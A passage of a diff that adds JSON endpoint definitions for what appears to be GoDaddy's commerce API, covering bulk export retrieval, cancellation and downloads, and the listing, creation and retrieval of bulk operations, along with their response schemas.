"description": "The Bulk Export ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "200": { + "description": "Get bulk export", + "schema": { + "bulkExport": { + "$id": "https://godaddy.com/schemas/commerce/bulk-operations/bulk-export.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk export object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "errorMessage": { + "description": "Message from error that occurred during the bulk export", + "nullable": true, + "readOnly": true, + "type": "string" + }, + "exportType": { + "description": "The type of bulk export, currently accepts one of CATALOG, CATALOG_V2_TO_V1", + "type": "string" + }, + "exportedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "query": { + "description": "The query for the bulk export", + "example": { + "skuGroupIds": { + "in": [ + "sku-group-id-1", + "sku-group-id-2" + ] + } + }, + "skuGroupIds": { + "description": "The SKU group IDs to filter the bulk export. To export\nall SKU groups, omit this field.\n", + "properties": { + "in": { + "description": "The list of SKU group IDs to filter the bulk export. If the list is \nan empty array, the bulk export will not include any SKU groups.\n", + "items": { + "type": "string" + }, + "required": true, + "type": "array" + } + }, + "required": false, + "type": "object" + }, + "type": "object" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "readOnly": true, + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "readOnly": true, + "type": "string" + }, + "status": { + "default": "PENDING", + "description": "The status of the bulk export, currently PENDING, PROCESSING,\nEXPORTING, COMPLETED, FAILED, CANCELED\n", + "readOnly": true, + "type": "string" + }, + "targetFormat": { + "description": "The target format of the bulk export, currently accepts CSV\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Export", + "type": "object" + }, + "links": { + "description": "Links to self and, if available, next step.", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + } + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_v1_commerce_stores_storeId_bulk_exports_bulkExportId_cancelations", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/bulk-exports/{bulkExportId}/cancelations", + "summary": "Cancel bulk export", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkExportId", + "in": "path", + "required": true, + "description": "The Bulk Export ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk export cancelled", + "schema": { + "bulkExport": { + "$id": "https://godaddy.com/schemas/commerce/bulk-operations/bulk-export.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk export object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "errorMessage": { + "description": "Message from error that occurred during the bulk export", + "nullable": true, + "readOnly": true, + "type": "string" + }, + "exportType": { + "description": "The type of bulk export, currently accepts one of CATALOG, CATALOG_V2_TO_V1", + "type": "string" + }, + "exportedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "query": { + "description": "The query for the bulk export", + "example": { + "skuGroupIds": { + "in": [ + "sku-group-id-1", + "sku-group-id-2" + ] + } + }, + "skuGroupIds": { + "description": "The SKU group IDs to filter the bulk export. To export\nall SKU groups, omit this field.\n", + "properties": { + "in": { + "description": "The list of SKU group IDs to filter the bulk export. If the list is \nan empty array, the bulk export will not include any SKU groups.\n", + "items": { + "type": "string" + }, + "required": true, + "type": "array" + } + }, + "required": false, + "type": "object" + }, + "type": "object" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "readOnly": true, + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "readOnly": true, + "type": "string" + }, + "status": { + "default": "PENDING", + "description": "The status of the bulk export, currently PENDING, PROCESSING,\nEXPORTING, COMPLETED, FAILED, CANCELED\n", + "readOnly": true, + "type": "string" + }, + "targetFormat": { + "description": "The target format of the bulk export, currently accepts CSV\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Export", + "type": "object" + }, + "links": { + "description": "Link to the cancelled bulk export.", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + } + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_v1_commerce_stores_storeId_bulk_exports_bulkExportId_downloads", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/bulk-exports/{bulkExportId}/downloads", + "summary": "Get bulk export downloads", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkExportId", + "in": "path", + "required": true, + "description": "The Bulk Export ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "exportType", + "in": "query", + "required": true, + "description": "The export type, required to get bulk export downloads", + "schema": { + "type": "string" + } + } + ], + "responses": { + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk export with download links", + "schema": { + "bulkExport": { + "$id": "https://godaddy.com/schemas/commerce/bulk-operations/bulk-export.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk export object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "errorMessage": { + "description": "Message from error that occurred during the bulk export", + "nullable": true, + "readOnly": true, + "type": "string" + }, + "exportType": { + "description": "The type of bulk export, currently accepts one of CATALOG, CATALOG_V2_TO_V1", + "type": "string" + }, + "exportedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "query": { + "description": "The query for the bulk export", + "example": { + "skuGroupIds": { + "in": [ + "sku-group-id-1", + "sku-group-id-2" + ] + } + }, + "skuGroupIds": { + "description": "The SKU group IDs to filter the bulk export. To export\nall SKU groups, omit this field.\n", + "properties": { + "in": { + "description": "The list of SKU group IDs to filter the bulk export. If the list is \nan empty array, the bulk export will not include any SKU groups.\n", + "items": { + "type": "string" + }, + "required": true, + "type": "array" + } + }, + "required": false, + "type": "object" + }, + "type": "object" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "readOnly": true, + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "readOnly": true, + "type": "string" + }, + "status": { + "default": "PENDING", + "description": "The status of the bulk export, currently PENDING, PROCESSING,\nEXPORTING, COMPLETED, FAILED, CANCELED\n", + "readOnly": true, + "type": "string" + }, + "targetFormat": { + "description": "The target format of the bulk export, currently accepts CSV\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Export", + "type": "object" + }, + "links": { + "description": "Links to self and download.", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + } + } + } + }, + "scopes": [] + }, + { + "operationId": "get_v1_commerce_stores_storeId_bulk_operations", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/bulk-operations", + "summary": "Get bulk operations", + "description": "Get bulk operations of a store", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Successfully retrieved bulk operations", + "schema": { + "properties": { + "bulkOperation": { + "description": "The bulk operations", + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-operation.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk operation object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "completedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "entityType": { + "default": "PRODUCT", + "description": "The type of the entity, currently only accepts PRODUCT", + "type": "string" + }, + "errorCount": { + "default": 0, + "description": "The error count of the bulk operation", + "type": "integer" + }, + "href": { + "description": "The href of the bulk operation", + "example": "/v1/commerce/stores/:storeId/products/:productId", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "method": { + "default": "PATCH", + "description": "The method of the bulk operation, currently accepts PATCH, PUT, and \nDELETE\n", + "type": "string" + }, + "processedCount": { + "default": 0, + "description": "The processed count of the bulk operation", + "type": "integer" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "type": "string" + }, + "results": { + "description": "The results for this individual bulk operation request, only used \nwhen the bulk operation is processed synchronously\n", + "type": "array" + }, + "status": { + "default": "PROCESSING", + "description": "The status of the bulk operation, can be PROCESSING, COMPLETED, \nCANCELED, or FAILED\n", + "type": "string" + }, + "totalCount": { + "default": 0, + "description": "The total count of the bulk operation", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Operation", + "type": "object" + }, + "type": "array" + } + }, + "type": "object" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_v1_commerce_stores_storeId_bulk_operations", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/bulk-operations", + "summary": "Create a bulk operation", + "description": "Create a new bulk operation", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": true, + "contentType": "application/json", + "schema": { + "properties": { + "body": { + "description": "The body of the bulk operation request", + "example": { + "name": "Product 1" + }, + "type": "object" + }, + "filter": { + "description": "The optional filter of the bulk operation, should follow\n[OData URL Convention for filtering](http://docs.oasis-open.org/odata/odata/v4.01/cs01/part2-url-conventions/odata-v4.01-cs01-part2-url-conventions.html#sec_SystemQueryOptionfilter)\n", + "example": "status eq 'IDLE'", + "type": "string" + }, + "href": { + "description": "The URL of the bulk operation", + "example": "/v1/commerce/stores/:storeId/products/:productId", + "type": "string" + }, + "method": { + "description": "The method of the bulk operation", + "example": "PATCH", + "type": "string" + }, + "query": { + "description": "The optional query of the bulk operation", + "example": "type=PHYSICAL", + "type": "string" + } + }, + "type": "object" + } + }, + "responses": { + "201": { + "description": "Bulk operation created", + "schema": { + "properties": { + "bulkOperation": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-operation.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk operation object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "completedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "entityType": { + "default": "PRODUCT", + "description": "The type of the entity, currently only accepts PRODUCT", + "type": "string" + }, + "errorCount": { + "default": 0, + "description": "The error count of the bulk operation", + "type": "integer" + }, + "href": { + "description": "The href of the bulk operation", + "example": "/v1/commerce/stores/:storeId/products/:productId", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "method": { + "default": "PATCH", + "description": "The method of the bulk operation, currently accepts PATCH, PUT, and \nDELETE\n", + "type": "string" + }, + "processedCount": { + "default": 0, + "description": "The processed count of the bulk operation", + "type": "integer" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "type": "string" + }, + "results": { + "description": "The results for this individual bulk operation request, only used \nwhen the bulk operation is processed synchronously\n", + "type": "array" + }, + "status": { + "default": "PROCESSING", + "description": "The status of the bulk operation, can be PROCESSING, COMPLETED, \nCANCELED, or FAILED\n", + "type": "string" + }, + "totalCount": { + "default": 0, + "description": "The total count of the bulk operation", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Operation", + "type": "object" + } + }, + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_v1_commerce_stores_storeId_bulk_operations_bulkOperationId", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/bulk-operations/{bulkOperationId}", + "summary": "Get a bulk operation", + "description": "Get a bulk operation by ID", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkOperationId", + "in": "path", + "required": true, + "description": "The Bulk Operation ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "200": { + "description": "Successfully retrieved bulk operation", + "schema": { + "properties": { + "bulkOperation": { + "$id": 